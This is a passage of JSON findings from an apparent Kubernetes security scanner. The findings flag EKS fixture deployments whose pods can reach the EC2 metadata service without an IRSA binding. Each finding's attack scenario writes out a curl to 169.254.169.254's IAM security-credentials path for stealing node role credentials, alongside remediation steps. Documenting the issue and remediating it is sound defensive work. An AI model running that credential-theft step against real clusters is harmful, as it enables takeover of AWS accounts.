      "Audit the node IAM role and tighten it to the minimum kubelet / node-controller surface (drop S3 / EC2 / KMS / Secrets Manager permissions unless the node itself genuinely needs them)."
    ],
    "references": [
      "https://blog.christophetd.fr/",
      "https://aws.github.io/aws-eks-best-practices/security/docs/iam/",
      "https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/configuring-instance-metadata-service.html"
    ],
    "learn_more": [
      {
        "title": "Christophe Tafani-Dereeper: AWS IAM privilege escalation in EKS",
        "url": "https://blog.christophetd.fr/"
      },
      {
        "title": "AWS EKS Best Practices: IAM",
        "url": "https://aws.github.io/aws-eks-best-practices/security/docs/iam/"
      },
      {
        "title": "AWS EC2: Configuring the instance metadata service (IMDSv2)",
        "url": "https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/configuring-instance-metadata-service.html"
      }
    ],
    "mitre_techniques": [
      {
        "id": "T1552.005",
        "name": "Cloud Instance Metadata API",
        "url": "https://attack.mitre.org/techniques/T1552/005/"
      },
      {
        "id": "T1078.004",
        "name": "Valid Accounts: Cloud Accounts",
        "url": "https://attack.mitre.org/techniques/T1078/004/"
      }
    ],
    "excluded": false,
    "tags": [
      "module:cloud",
      "module:network_policy",
      "provider:eks",
      "check:imdsPivot",
      "chain:amplified"
    ]
  },
  {
    "id": "KUBE-CLOUD-IMDS-PIVOT-001:Deployment:foothold-fixtures:foothold-quiet-app",
    "rule_id": "KUBE-CLOUD-IMDS-PIVOT-001",
    "severity": "HIGH",
    "score": 9.2,
    "category": "privilege_escalation",
    "title": "Pod can reach IMDS without IRSA carve-out (EKS node-IAM pivot)",
    "description": "On EKS clusters backed by EC2 nodegroups, every node carries an IAM instance profile that the kubelet (and any pod with raw network reach to the metadata service) can assume. A pod whose ServiceAccount lacks the `eks.amazonaws.com/role-arn` annotation has no IRSA binding, so any SSRF, RCE, or token-theft in that pod can curl 169.254.169.254 and inherit the worker node's IAM role. Node IAM roles are typically broader than per-workload roles (they need to register the node, pull images, attach EBS volumes), which turns container compromise into AWS-account pivot. This rule fires only on EKS, and only when the pod is not scheduled to a Fargate node (Fargate has no IMDS exposure).",
    "subject": {
      "kind": "ServiceAccount",
      "name": "foothold-quiet",
      "namespace": "foothold-fixtures"
    },
    "resource": {
      "kind": "Deployment",
      "name": "foothold-quiet-app",
      "namespace": "foothold-fixtures",
      "api_group": "apps"
    },
    "namespace": "foothold-fixtures",
    "scope": {
      "level": "workload",
      "detail": "Workload-scoped: this pod (or its controlling workload) can reach 169.254.169.254 and its ServiceAccount has no IRSA binding, so a compromise falls back to the worker node's IAM role."
    },
    "impact": "AWS account compromise via worker node IAM role: an attacker who lands code execution in the pod inherits the node instance profile and pivots to whatever AWS APIs that profile is authorized for.",
    "attack_scenario": [
      "Attacker achieves RCE in the pod (vulnerable app, dependency CVE, SSRF, ...).",
      "From inside the pod, attacker `curl http://169.254.169.254/latest/meta-data/iam/security-credentials/` to enumerate the EC2 instance profile.",
      "Attacker fetches the role's temporary credentials and uses `aws sts get-caller-identity` to confirm scope.",
      "Attacker calls the AWS APIs the node IAM role is authorized for (commonly: read S3, describe EC2, decrypt KMS, push images to ECR) and pivots laterally in the AWS account."
    ],
    "evidence": {
      "fallbackTo": "node-iam-role",
      "offenderCIDR": "",
      "pod": "foothold-fixtures/foothold-quiet-app",
      "reason": "no-egress-policy",
      "sa": "foothold-fixtures/foothold-quiet",
      "workload": "Deployment/foothold-fixtures/foothold-quiet-app"
    },
    "remediation": "Bind the pod's ServiceAccount to a least-privileged IRSA role AND apply an egress NetworkPolicy that blocks 169.254.169.254.",
    "remediation_steps": [
      "Create an IAM role with the workload's required permissions and the EKS OIDC trust policy, then annotate the ServiceAccount: `kubectl annotate sa \u003csa\u003e eks.amazonaws.com/role-arn=arn:aws:iam::\u003cacct\u003e:role/\u003crole\u003e`.",
      "Apply a namespace-scoped egress NetworkPolicy that explicitly carves IMDS out of any 0.0.0.0/0 allow rule: `to: [{ ipBlock: { cidr: 0.0.0.0/0, except: [169.254.169.254/32] } }]`.",
      "Enforce IMDSv2 on the EKS managed nodegroup (`--metadata-options HttpTokens=required HttpPutResponseHopLimit=1`) so even reachable IMDS requires session tokens that pods cannot easily obtain.",
      "Audit the node IAM role and tighten it to the minimum kubelet / node-controller surface (drop S3 / EC2 / KMS / Secrets Manager permissions unless the node itself genuinely needs them)."
    ],
    "references": [
      "https://blog.christophetd.fr/",
      "https://aws.github.io/aws-eks-best-practices/security/docs/iam/",
      "https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/configuring-instance-metadata-service.html"
    ],
    "learn_more": [
      {
        "title": "Christophe Tafani-Dereeper: AWS IAM privilege escalation in EKS",
        "url": "https://blog.christophetd.fr/"
      },
      {
        "title": "AWS EKS Best Practices: IAM",
        "url": "https://aws.github.io/aws-eks-best-practices/security/docs/iam/"
      },
      {
        "title": "AWS EC2: Configuring the instance metadata service (IMDSv2)",
        "url": "https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/configuring-instance-metadata-service.html"
      }
    ],
    "mitre_techniques": [
      {
        "id": "T1552.005",
        "name": "Cloud Instance Metadata API",
        "url": "https://attack.mitre.org/techniques/T1552/005/"
      },
      {
        "id": "T1078.004",
        "name": "Valid Accounts: Cloud Accounts",
        "url": "https://attack.mitre.org/techniques/T1078/004/"
      }
    ],
    "excluded": false,
    "tags": [
      "module:cloud",
      "module:network_policy",
      "provider:eks",
      "check:imdsPivot",
      "chain:amplified"
    ]
  },
  {
    "id": "KUBE-CLOUD-IMDS-PIVOT-001:Deployment:gw-workloads:gw-web",
    "rule_id": "KUBE-CLOUD-IMDS-PIVOT-001",
    "severity": "HIGH",
    "score": 9.2,
    "category": "privilege_escalation",
    "title": "Pod can reach IMDS without IRSA carve-out (EKS node-IAM pivot)",
    "description": "On EKS clusters backed by EC2 nodegroups, every node carries an IAM instance profile that the kubelet (and any pod with raw network reach to the metadata service) can assume. A pod whose ServiceAccount lacks the `eks.amazonaws.com/role-arn` annotation has no IRSA binding, so any SSRF, RCE, or token-theft in that pod can curl 169.254.169.254 and inherit the worker node's IAM role. Node IAM roles are typically broader than per-workload roles (they need to register the node, pull images, attach EBS volumes), which turns container compromise into AWS-account pivot. This rule fires only on EKS, and only when the pod is not scheduled to a Fargate node (Fargate has no IMDS exposure).",
    "subject": {
      "kind": "ServiceAccount",
      "name": "gw-web-sa",
      "namespace": "gw-workloads"
    },
    "resource": {
      "kind": "Deployment",
      "name": "gw-web",
      "namespace": "gw-workloads",
      "api_group": "apps"
    },
    "namespace": "gw-workloads",
    "scope": {
      "level": "workload",
      "detail": "Workload-scoped: this pod (or its controlling workload) can reach 169.254.169.254 and its ServiceAccount has no IRSA binding, so a compromise falls back to the worker node's IAM role."
    },
    "impact": "AWS account compromise via worker node IAM role: an attacker who lands code execution in the pod inherits the node instance profile and pivots to whatever AWS APIs that profile is authorized for.",
    "attack_scenario": [
      "Attacker achieves RCE in the pod (vulnerable app, dependency CVE, SSRF, ...).",
      "From inside the pod, attacker `curl http://169.254.169.254/latest/meta-data/iam/security-credentials/` to enumerate the EC2 instance profile.",
      "Attacker fetches the role's temporary credentials and uses `aws sts get-caller-identity` to confirm scope.",
      "Attacker calls the AWS APIs the node IAM role is authorized for (commonly: read S3, describe EC2, decrypt KMS, push images to ECR) and pivots laterally in the AWS account."
    ],
    "evidence": {
      "fallbackTo": "node-iam-role",
      "offenderCIDR": "",
      "pod": "gw-workloads/gw-web",
      "reason": "no-egress-policy",
      "sa": "gw-workloads/gw-web-sa",
      "workload": "Deployment/gw-workloads/gw-web"
    },
    "remediation": "Bind the pod's ServiceAccount to a least-privileged IRSA role AND apply an egress NetworkPolicy that blocks 169.254.169.254.",
    "remediation_steps": [
      "Create an IAM role with the workload's required permissions and the EKS OIDC trust policy, then annotate the ServiceAccount: `kubectl annotate sa \u003csa\u003e eks.amazonaws.com/role-arn=arn:aws:iam::\u003cacct\u003e:role/\u003crole\u003e`.",
      "Apply a namespace-scoped egress NetworkPolicy that explicitly carves IMDS out of any 0.0.0.0/0 allow rule: `to: [{ ipBlock: { cidr: 0.0.0.0/0, except: [169.254.169.254/32] } }]`.",
      "Enforce IMDSv2 on the EKS managed nodegroup (`--metadata-options HttpTokens=required HttpPutResponseHopLimit=1`) so even reachable IMDS requires session tokens that pods cannot easily obtain.",
      "Audit the node IAM role and tighten it to the minimum kubelet / node-controller surface (drop S3 / EC2 / KMS / Secrets Manager permissions unless the node itself genuinely needs them)."
    ],
    "references": [
      "https://blog.christophetd.fr/",
      "https://aws.github.io/aws-eks-best-practices/security/docs/iam/",
      "https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/configuring-instance-metadata-service.html"
    ],
    "learn_more": [
      {
        "title": "Christophe Tafani-Dereeper: AWS IAM privilege escalation in EKS",
        "url": "https://blog.christophetd.fr/"
      },
      {
        "title": "AWS EKS Best Practices: IAM",
        "url": "https://aws.github.io/aws-eks-best-practices/security/docs/iam/"
      },
      {
        "title": "AWS EC2: Configuring the instance metadata service (IMDSv2)",
        "url": "https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/configuring-instance-metadata-service.html"
      }
    ],
    "mitre_techniques": [
      {
        "id": "T1552.005",
        "name": "Cloud Instance Metadata API",
        "url": "https://attack.mitre.org/techniques/T1552/005/"
      },
      {
        "id": "T1078.004",
        "name": "Valid Accounts: Cloud Accounts",
        "url": "https://attack.mitre.org/techniques/T1078/004/"
      }
    ],
    "excluded": false,
    "tags": [
      "module:cloud",
      "module:network_policy",
      "provider:eks",
      "check:imdsPivot",
      "chain:amplified"
    ]
  },
  {
    "id": "KUBE-CLOUD-IMDS-PIVOT-001:Deployment:hookbackend-fixtures:hookbackend-injector",
    "rule_id": "KUBE-CLOUD-IMDS-PIVOT-001",
    "severity": "HIGH",
    "score": 9.2,
    "category": "privilege_escalation",
    "title": "Pod can reach IMDS without IRSA carve-out (EKS node-IAM pivot)",
    "description": "On EKS clusters backed by EC2 nodegroups, every node carries an IAM instance profile that the kubelet (and any pod with raw network reach to the metadata service) can assume. A pod whose ServiceAccount lacks the `eks.amazonaws.com/role-arn` annotation has no IRSA binding, so any SSRF, RCE, or token-theft in that pod can curl 169.254.169.254 and inherit the worker node's IAM role. Node IAM roles are typically broader than per-workload roles (they need to register the node, pull images, attach EBS volumes), which turns container compromise into AWS-account pivot. This rule fires only on EKS, and only when the pod is not scheduled to a Fargate node (Fargate has no IMDS exposure).",
    "subject": {
      "kind": "ServiceAccount",
      "name": "default",
      "namespace": "hookbackend-fixtures"
    },
    "resource": {
      "kind": "Deployment",
      "name": "hookbackend-injector",
      "namespace": "hookbackend-fixtures",
      "api_group": "apps"
    },
    "namespace": "hookbackend-fixtures",
    "scope": {
      "level": "workload",
      "detail": "Workload-scoped: this pod (or its controlling workload) can reach 169.254.169.254 and its ServiceAccount has no IRSA binding, so a compromise falls back to the worker node's IAM role."
    },
    "impact": "AWS account compromise via worker node IAM role: an attacker who lands code execution in the pod inherits the node instance profile and pivots to whatever AWS APIs that profile is authorized for.",
    "attack_scenario": [
      "Attacker achieves RCE in the pod (vulnerable app, dependency CVE, SSRF, ...).",
      "From inside the pod, attacker `curl http://169.254.169.254/latest/meta-data/iam/security-credentials/` to enumerate the EC2 instance profile.",
      "Attacker fetches the role's temporary credentials and uses `aws sts get-caller-identity` to confirm scope.",
      "Attacker calls the AWS APIs the node IAM role is authorized for (commonly: read S3, describe EC2, decrypt KMS, push images to ECR) and pivots laterally in the AWS account."
    ],
    "evidence": {
      "fallbackTo": "node-iam-role",
      "offenderCIDR": "",
      "pod": "hookbackend-fixtures/hookbackend-injector",
      "reason": "no-egress-policy",
      "sa": "hookbackend-fixtures/default",
      "workload": "Deployment/hookbackend-fixtures/hookbackend-injector"
    },
    "remediation": "Bind the pod's ServiceAccount to a least-privileged IRSA role AND apply an egress NetworkPolicy that blocks 169.254.169.254.",
    "remediation_steps": [
      "Create an IAM role with the workload's required permissions and the EKS OIDC trust policy, then annotate the ServiceAccount: `kubectl annotate sa \u003csa\u003e eks.amazonaws.com/role-arn=arn:aws:iam::\u003cacct\u003e:role/\u003crole\u003e`.",
      "Apply a namespace-scoped egress NetworkPolicy that explicitly carves IMDS out of any 0.0.0.0/0 allow rule: `to: [{ ipBlock: { cidr: 0.0.0.0/0, except: [169.254.169.254/32] } }]`.",
      "Enforce IMDSv2 on the EKS managed nodegroup (`--metadata-options HttpTokens=required HttpPutResponseHopLimit=1`) so even reachable IMDS requires session tokens that pods cannot easily obtain.",
      "Audit the node IAM role and tighten it to the minimum kubelet / node-controller surface (drop S3 / EC2 / KMS / Secrets Manager permissions unless the node itself genuinely needs them)."
    ],
    "references": [
      "https://blog.christophetd.fr/",
      "https://aws.github.io/aws-eks-best-practices/security/docs/iam/",
      "https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/configuring-instance-metadata-service.html"
    ],
    "learn_more": [
      {
        "title": "Christophe Tafani-Dereeper: AWS IAM privilege escalation in EKS",
        "url": "https://blog.christophetd.fr/"
      },
      {
        "title": "AWS EKS Best Practices: IAM",
        "url": "https://aws.github.io/aws-eks-best-practices/security/docs/iam/"
      },
      {
        "title": "AWS EC2: Configuring the instance metadata service (IMDSv2)",
        "url": "https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/configuring-instance-metadata-service.html"
      }
    ],
    "mitre_techniques": [
      {
        "id": "T1552.005",
        "name": "Cloud Instance Metadata API",
        "url": "https://attack.mitre.org/techniques/T1552/005/"
      },
      {
        "id": "T1078.004",
        "name": "Valid Accounts: Cloud Accounts",
        "url": "https://attack.mitre.org/techniques/T1078/004/"
      }
    ],
    "excluded": false,
    "tags": [
      "module:cloud",
      "module:network_policy",
      "provider:eks",
      "check:imdsPivot",
      "chain:amplified"
    ]
  },
  {
    "id": "KUBE-CLOUD-IMDS-PIVOT-001:Deployment:imgswap-fixtures:imgswap-reader-app",
    "rule_id": "KUBE-CLOUD-IMDS-PIVOT-001",
    "severity": "HIGH",
    "score": 9.2,
    "category": "privilege_escalation",
    "title": "Pod can reach IMDS without IRSA carve-out (EKS node-IAM pivot)",
    "description": "On EKS clusters backed by EC2 nodegroups, every node carries an IAM instance profile that the kubelet (and any pod with raw network reach to the metadata service) can assume. A pod whose ServiceAccount lacks the `eks.amazonaws.com/role-arn` annotation has no IRSA binding, so any SSRF, RCE, or token-theft in that pod can curl 169.254.169.254 and inherit the worker node's IAM role. Node IAM roles are typically broader than per-workload roles (they need to register the node, pull images, attach EBS volumes), which turns container compromise into AWS-account pivot. This rule fires only on EKS, and only when the pod is not scheduled to a Fargate node (Fargate has no IMDS exposure).",
    "subject": {
      "kind": "ServiceAccount",
      "name": "imgswap-reader",
      "namespace": "imgswap-fixtures"
    },
    "resource": {
      "kind": "Deployment",
      "name": "imgswap-reader-app",
      "namespace": "imgswap-fixtures",
      "api_group": "apps"
    },
    "namespace": "imgswap-fixtures",
    "scope": {
      "level": "workload",
      "detail": "Workload-scoped: this pod (or its controlling workload) can reach 169.254.169.254 and its ServiceAccount has no IRSA binding, so a compromise falls back to the worker node's IAM role."
    },
    "impact": "AWS account compromise via worker node IAM role: an attacker who lands code execution in the pod inherits the node instance profile and pivots to whatever AWS APIs that profile is authorized for.",
    "attack_scenario": [
      "Attacker achieves RCE in the pod (vulnerable app, dependency CVE, SSRF, ...).",
      "From inside the pod, attacker `curl http://169.254.169.254/latest/meta-data/iam/security-credentials/` to enumerate the EC2 instance profile.",
      "Attacker fetches the role's temporary credentials and uses `aws sts get-caller-identity` to confirm scope.",
      "Attacker calls the AWS APIs the node IAM role is authorized for (commonly: read S3, describe EC2, decrypt KMS, push images to ECR) and pivots laterally in the AWS account."
    ],
    "evidence": {
      "fallbackTo": "node-iam-role",
      "offenderCIDR": "",
      "pod": "imgswap-fixtures/imgswap-reader-app",
      "reason": "no-egress-policy",
      "sa": "imgswap-fixtures/imgswap-reader",
      "workload": "Deployment/imgswap-fixtures/imgswap-reader-app"
    },
    "remediation": "Bind the pod's ServiceAccount to a least-privileged IRSA role AND apply an egress NetworkPolicy that blocks 169.254.169.254.",
    "remediation_steps": [
      "Create an IAM role with the workload's required permissions and the EKS OIDC trust policy, then annotate the ServiceAccount: `kubectl annotate sa \u003csa\u003e eks.amazonaws.com/role-arn=arn:aws:iam::\u003cacct\u003e:role/\u003crole\u003e`.",
      "Apply a namespace-scoped egress NetworkPolicy that explicitly carves IMDS out of any 0.0.0.0/0 allow rule: `to: [{ ipBlock: { cidr: 0.0.0.0/0, except: [169.254.169.254/32] } }]`.",
      "Enforce IMDSv2 on the EKS managed nodegroup (`--metadata-options HttpTokens=required HttpPutResponseHopLimit=1`) so even reachable IMDS requires session tokens that pods cannot easily obtain.",
      "Audit the node IAM role and tighten it to the minimum kubelet / node-controller surface (drop S3 / EC2 / KMS / Secrets Manager permissions unless the node itself genuinely needs them)."
    ],
    "references": [
      "https://blog.christophetd.fr/",
      "https://aws.github.io/aws-eks-best-practices/security/docs/iam/",
      "https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/configuring-instance-metadata-service.html"
    ],
    "learn_more": [
      {
        "title": "Christophe Tafani-Dereeper: AWS IAM privilege escalation in EKS",
        "url": "https://blog.christophetd.fr/"
      },
      {
        "title": "AWS EKS Best Practices: IAM",
        "url": "https://aws.github.io/aws-eks-best-practices/security/docs/iam/"
      },
      {
        "title": "AWS EC2: Configuring the instance metadata service (IMDSv2)",
        "url": "https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/configuring-instance-metadata-service.html"
      }
    ],
    "mitre_techniques": [
      {
        "id": "T1552.005",
        "name": "Cloud Instance Metadata API",
        "url": "https://attack.mitre.org/techniques/T1552/005/"
      },
      {
        "id": "T1078.004",
        "name": "Valid Accounts: Cloud Accounts",
        "url": "https://attack.mitre.org/techniques/T1078/004/"
      }
    ],
    "excluded": false,
    "tags": [
      "module:cloud",
      "module:network_policy",
      "provider:eks",
      "check:imdsPivot",
      "chain:amplified"
    ]
  },
  {
    "id": "KUBE-CLOUD-IMDS-PIVOT-001:Deployment:ingress-only:ingress-app",
    "rule_id": "KUBE-CLOUD-IMDS-PIVOT-001",
    "severity": "HIGH",
    "score": 9.2,
    "category": "privilege_escalation",
    "title": "Pod can reach IMDS without IRSA carve-out (EKS node-IAM pivot)",
    "description": "On EKS clusters backed by EC2 nodegroups, every node carries an IAM instance profile that the kubelet (and any pod with raw network reach to the metadata service) can assume. A pod whose ServiceAccount lacks the `eks.amazonaws.com/role-arn` annotation has no IRSA binding, so any SSRF, RCE, or token-theft in that pod can curl 169.254.169.254 and inherit the worker node's IAM role. Node IAM roles are typically broader than per-workload roles (they need to register the node, pull images, attach EBS volumes), which turns container compromise into AWS-account pivot. This rule fires only on EKS, and only when the pod is not scheduled to a Fargate node (Fargate has no IMDS exposure).",
    "subject": {
      "kind": "ServiceAccount",
      "name": "default",
      "namespace": "ingress-only"
    },
    "resource": {
      "kind": "Deployment",
      "name": "ingress-app",
      "namespace": "ingress-only",
      "api_group": "apps"
    },
    "namespace": "ingress-only",
    "scope": {
      "level": "workload",
      "detail": "Workload-scoped: this pod (or its controlling workload) can reach 169.254.169.254 and its ServiceAccount has no IRSA binding, so a compromise falls back to the worker node's IAM role."
    },
    "impact": "AWS account compromise via worker node IAM role: an attacker who lands code execution in the pod inherits the node instance profile and pivots to whatever AWS APIs that profile is authorized for.",
    "attack_scenario": [
      "Attacker achieves RCE in the pod (vulnerable app, dependency CVE, SSRF, ...).",
      "From inside the pod, attacker `curl http://169.254.169.254/latest/meta-data/iam/security-credentials/` to enumerate the EC2 instance profile.",
      "Attacker fetches the role's temporary credentials and uses `aws sts get-caller-identity` to confirm scope.",
      "Attacker calls the AWS APIs the node IAM role is authorized for (commonly: read S3, describe EC2, decrypt KMS, push images to ECR) and pivots laterally in the AWS account."
    ],
    "evidence": {
      "fallbackTo": "node-iam-role",
      "offenderCIDR": "",
      "pod": "ingress-only/ingress-app",
      "reason": "no-egress-policy",
      "sa": "ingress-only/default",
      "workload": "Deployment/ingress-only/ingress-app"
    },
    "remediation": "Bind the pod's ServiceAccount to a least-privileged IRSA role AND apply an egress NetworkPolicy that blocks 169.254.169.254.",
    "remediation_steps": [
      "Create an IAM role with the workload's required permissions and the EKS OIDC trust policy, then annotate the ServiceAccount: `kubectl annotate sa \u003csa\u003e eks.amazonaws.com/role-arn=arn:aws:iam::\u003cacct\u003e:role/\u003crole\u003e`.",
      "Apply a namespace-scoped egress NetworkPolicy that explicitly carves IMDS out of any 0.0.0.0/0 allow rule: `to: [{ ipBlock: { cidr: 0.0.0.0/0, except: [169.254.169.254/32] } }]`.",
      "Enforce IMDSv2 on the EKS managed nodegroup (`--metadata-options HttpTokens=required HttpPutResponseHopLimit=1`) so even reachable IMDS requires session tokens that pods cannot easily obtain.",
      "Audit the node IAM role and tighten it to the minimum kubelet / node-controller surface (drop S3 / EC2 / KMS / Secrets Manager permissions unless the node itself genuinely needs them)."
    ],
    "references": [
      "https://blog.christophetd.fr/",
      "https://aws.github.io/aws-eks-best-practices/security/docs/iam/",
      "https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/configuring-instance-metadata-service.html"
    ],
    "learn_more": [
      {
        "title": "Christophe Tafani-Dereeper: AWS IAM privilege escalation in EKS",
        "url": "https://blog.christophetd.fr/"
      },
      {
        "title": "AWS EKS Best Practices: IAM",
        "url": "https://aws.github.io/aws-eks-best-practices/security/docs/iam/"
      },
      {
        "title": "AWS EC2: Configuring the instance metadata service (IMDSv2)",
        "url": "https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/configuring-instance-metadata-service.html"
      }
    ],
    "mitre_techniques": [
      {
        "id": "T1552.005",
        "name": "Cloud Instance Metadata API",
        "url": "https://attack.mitre.org/techniques/T1552/005/"
      },
      {
        "id": "T1078.004",
        "name": "Valid Accounts: Cloud Accounts",
        "url": "https://attack.mitre.org/techniques/T1078/004/"
      }
    ],
    "excluded": false,
    "tags": [
      "module:cloud",
      "module:network_policy",
      "provider:eks",
      "check:imdsPivot",
      "chain:amplified"
    ]
  },
  {
    "id": "KUBE-CLOUD-IMDS-PIVOT-001:Deployment:lp-fixtures:lp-narrow-app",
    "rule_id": "KUBE-CLOUD-IMDS-PIVOT-001",
    "severity": "HIGH",
    "score": 9.2,
    "category": "privilege_escalation",
    "title": "Pod can reach IMDS without IRSA carve-out (EKS node-IAM pivot)",
    "description": "On EKS clusters backed by EC2 nodegroups, every node carries an IAM instance profile that the kubelet (and any pod with raw network reach to the metadata service) can assume. A pod whose ServiceAccount lacks the `eks.amazonaws.com/role-arn` annotation has no IRSA binding, so any SSRF, RCE, or token-theft in that pod can curl 169.254.169.254 and inherit the worker node's IAM role. Node IAM roles are typically broader than per-workload roles (they need to register the node, pull images, attach EBS volumes), which turns container compromise into AWS-account pivot. This rule fires only on EKS, and only when the pod is not scheduled to a Fargate node (Fargate has no IMDS exposure).",
    "subject": {
      "kind": "ServiceAccount",
      "name": "sa-lp-narrow",
      "namespace": "lp-fixtures"
    },
    "resource": {
      "kind": "Deployment",
      "name": "lp-narrow-app",
      "namespace": "lp-fixtures",
      "api_group": "apps"
    },
    "namespace": "lp-fixtures",
    "scope": {
      "level": "workload",
      "detail": "Workload-scoped: this pod (or its controlling workload) can reach 169.254.169.254 and its ServiceAccount has no IRSA binding, so a compromise falls back to the worker node's IAM role."
    },
    "impact": "AWS account compromise via worker node IAM role: an attacker who lands code execution in the pod inherits the node instance profile and pivots to whatever AWS APIs that profile is authorized for.",
    "attack_scenario": [
      "Attacker achieves RCE in the pod (vulnerable app, dependency CVE, SSRF, ...).",
      "From inside the pod, attacker `curl http://169.254.169.254/latest/meta-data/iam/security-credentials/` to enumerate the EC2 instance profile.",
      "Attacker fetches the role's temporary credentials and uses `aws sts get-caller-identity` to confirm scope.",
      "Attacker calls the AWS APIs the node IAM role is authorized for (commonly: read S3, describe EC2, decrypt KMS, push images to ECR) and pivots laterally in the AWS account."
    ],
    "evidence": {
      "fallbackTo": "node-iam-role",
      "offenderCIDR": "",
      "pod": "lp-fixtures/lp-narrow-app",
      "reason": "no-egress-policy",
      "sa": "lp-fixtures/sa-lp-narrow",
      "workload": "Deployment/lp-fixtures/lp-narrow-app"
    },
    "remediation": "Bind the pod's ServiceAccount to a least-privileged IRSA role AND apply an egress NetworkPolicy that blocks 169.254.169.254.",
    "remediation_steps": [
      "Create an IAM role with the workload's required permissions and the EKS OIDC trust policy, then annotate the ServiceAccount: `kubectl annotate sa \u003csa\u003e eks.amazonaws.com/role-arn=arn:aws:iam::\u003cacct\u003e:role/\u003crole\u003e`.",
      "Apply a namespace-scoped egress NetworkPolicy that explicitly carves IMDS out of any 0.0.0.0/0 allow rule: `to: [{ ipBlock: { cidr: 0.0.0.0/0, except: [169.254.169.254/32] } }]`.",
      "Enforce IMDSv2 on the EKS managed nodegroup (`--metadata-options HttpTokens=required HttpPutResponseHopLimit=1`) so even reachable IMDS requires session tokens that pods cannot easily obtain.",
      "Audit the node IAM role and tighten it to the minimum kubelet / node-controller surface (drop S3 / EC2 / KMS / Secrets Manager permissions unless the node itself genuinely needs them)."
    ],
    "references": [
      "https://blog.christophetd.fr/",
      "https://aws.github.io/aws-eks-best-practices/security/docs/iam/",
      "https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/configuring-instance-metadata-service.html"
    ],
    "learn_more": [
      {
        "title": "Christophe Tafani-Dereeper: AWS IAM privilege escalation in EKS",
        "url": "https://blog.christophetd.fr/"
      },
      {
        "title": "AWS EKS Best Practices: IAM",
        "url": "https://aws.github.io/aws-eks-best-practices/security/docs/iam/"
      },
      {
        "title": "AWS EC2: Configuring the instance metadata service (IMDSv2)",
        "url": "https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/configuring-instance-metadata-service.html"
      }
    ],
    "mitre_techniques": [
      {
        "id": "T1552.005",
        "name": "Cloud Instance Metadata API",
        "url": "https://attack.mitre.org/techniques/T1552/005/"
      },
      {
        "id": "T1078.004",
        "name": "Valid Accounts: Cloud Accounts",
        "url": "https://attack.mitre.org/techniques/T1078/004/"
      }
    ],
    "excluded": false,
    "tags": [
      "module:cloud",
      "module:network_policy",
      "provider:eks",
      "check:imdsPivot",
      "chain:amplified"
    ]
  },
  {
    "id": "KUBE-CLOUD-IMDS-PIVOT-001:Deployment:lp-fixtures:lp-orphan-app",
    "rule_id": "KUBE-CLOUD-IMDS-PIVOT-001",
    "severity": "HIGH",
    "score": 9.2,
    "category": "privilege_escalation",
    "title": "Pod can reach IMDS without IRSA carve-out (EKS node-IAM pivot)",
    "description": "On EKS clusters backed by EC2 nodegroups, every node carries an IAM instance profile that the kubelet (and any pod with raw network reach to the metadata service) can assume. A pod whose ServiceAccount lacks the `eks.amazonaws.com/role-arn` annotation has no IRSA binding, so any SSRF, RCE, or token-theft in that pod can curl 169.254.169.254 and inherit the worker node's IAM role. Node IAM roles are typically broader than per-workload roles (they need to register the node, pull images, attach EBS volumes), which turns container compromise into AWS-account pivot. This rule fires only on EKS, and only when the pod is not scheduled to a Fargate node (Fargate has no IMDS exposure).",
    "subject": {
      "kind": "ServiceAccount",
      "name": "sa-lp-orphan",
      "namespace": "lp-fixtures"
    },
    "resource": {
      "kind": "Deployment",
      "name": "lp-orphan-app",
      "namespace": "lp-fixtures",
      "api_group": "apps"
    },
    "namespace": "lp-fixtures",
    "scope": {
      "level": "workload",
      "detail": "Workload-scoped: this pod (or its controlling workload) can reach 169.254.169.254 and its ServiceAccount has no IRSA binding, so a compromise falls back to the worker node's IAM role."
    },
    "impact": "AWS account compromise via worker node IAM role: an attacker who lands code execution in the pod inherits the node instance profile and pivots to whatever AWS APIs that profile is authorized for.",
    "attack_scenario": [
      "Attacker achieves RCE in the pod (vulnerable app, dependency CVE, SSRF, ...).",
      "From inside the pod, attacker `curl http://169.254.169.254/latest/meta-data/iam/security-credentials/` to enumerate the EC2 instance profile.",
      "Attacker fetches the role's temporary credentials and uses `aws sts get-caller-identity` to confirm scope.",
      "Attacker calls the AWS APIs the node IAM role is authorized for (commonly: read S3, describe EC2, decrypt KMS, push images to ECR) and pivots laterally in the AWS account."
    ],
    "evidence": {
      "fallbackTo": "node-iam-role",
      "offenderCIDR": "",
      "pod": "lp-fixtures/lp-orphan-app",
      "reason": "no-egress-policy",
      "sa": "lp-fixtures/sa-lp-orphan",
      "workload": "Deployment/lp-fixtures/lp-orphan-app"
    },
    "remediation": "Bind the pod's ServiceAccount to a least-privileged IRSA role AND apply an egress NetworkPolicy that blocks 169.254.169.254.",
    "remediation_steps": [
      "Create an IAM role with the workload's required permissions and the EKS OIDC trust policy, then annotate the ServiceAccount: `kubectl annotate sa \u003csa\u003e eks.amazonaws.com/role-arn=arn:aws:iam::\u003cacct\u003e:role/\u003crole\u003e`.",
      "Apply a namespace-scoped egress NetworkPolicy that explicitly carves IMDS out of any 0.0.0.0/0 allow rule: `to: [{ ipBlock: { cidr: 0.0.0.0/0, except: [169.254.169.254/32] } }]`.",
      "Enforce IMDSv2 on the EKS managed nodegroup (`--metadata-options HttpTokens=required HttpPutResponseHopLimit=1`) so even reachable IMDS requires session tokens that pods cannot easily obtain.",
      "Audit the node IAM role and tighten it to the minimum kubelet / node-controller surface (drop S3 / EC2 / KMS / Secrets Manager permissions unless the node itself genuinely needs them)."
    ],
    "references": [
      "https://blog.christophetd.fr/",
      "https://aws.github.io/aws-eks-best-practices/security/docs/iam/",
      "https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/configuring-instance-metadata-service.html"
    ],
    "learn_more": [
      {
        "title": "Christophe Tafani-Dereeper: AWS IAM privilege escalation in EKS",
        "url": "https://blog.christophetd.fr/"
      },
      {
        "title": "AWS EKS Best Practices: IAM",
